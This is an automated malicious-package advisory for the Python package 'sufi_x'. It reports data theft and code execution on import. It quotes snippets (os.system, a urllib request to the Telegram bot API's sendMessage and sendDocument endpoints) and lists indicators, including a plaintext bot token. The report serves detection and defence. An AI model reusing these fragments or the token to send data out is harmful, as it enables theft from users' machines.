GCVE-110-OSM-2026-3514

[osmalyze-auto] Malicious package detected. Behaviors: data exfiltration, code execution. [osmalyze-auto] Entrypoint: sufi_x/__init__.py (module-import: 13) Exfil: 8648691759:AAGaLiaSlcIF3SVJKlPSMsFR8yVNCNg3eo0 (telegram-bot, recovery: plaintext in sufi_x/core.py) Payload: sufi_x/core.py Key findings: - Shell Command Execution in sufi_x/core.py: "os.system(" - Python File Upload to Remote in sufi_x/core.py: "urllib.request.Request( f"https://api.telegram.org/bot{BOT_TOKEN}/se..." - Data Encoding for Exfiltration in sufi_x/core.py: "json.dumps({"chat_id": CHAT_ID, "text": chunk, "parse_mode": parse_mode}).encode" IOCs: - urls: https://api.siliconflow.com/v1/chat/completions, https://ipapi.co/json/ - domains: api.siliconflow.com, gsm.network, ipapi.co, mp.group - telegramBots: 8648691759:AAGaLiaSlcIF3SVJKlPSMsFR8yVNCNg3eo0 - telegramApi: api.telegram.org/bot{BOT_TOKEN}/sendMessage, api.telegram.org/bot{BOT_TOKEN}/sendDocument - payloadFileHash: 2773d5a04caf3e5a33be58e8af4c19dd08cf600bb600632ba54ecb382656ed34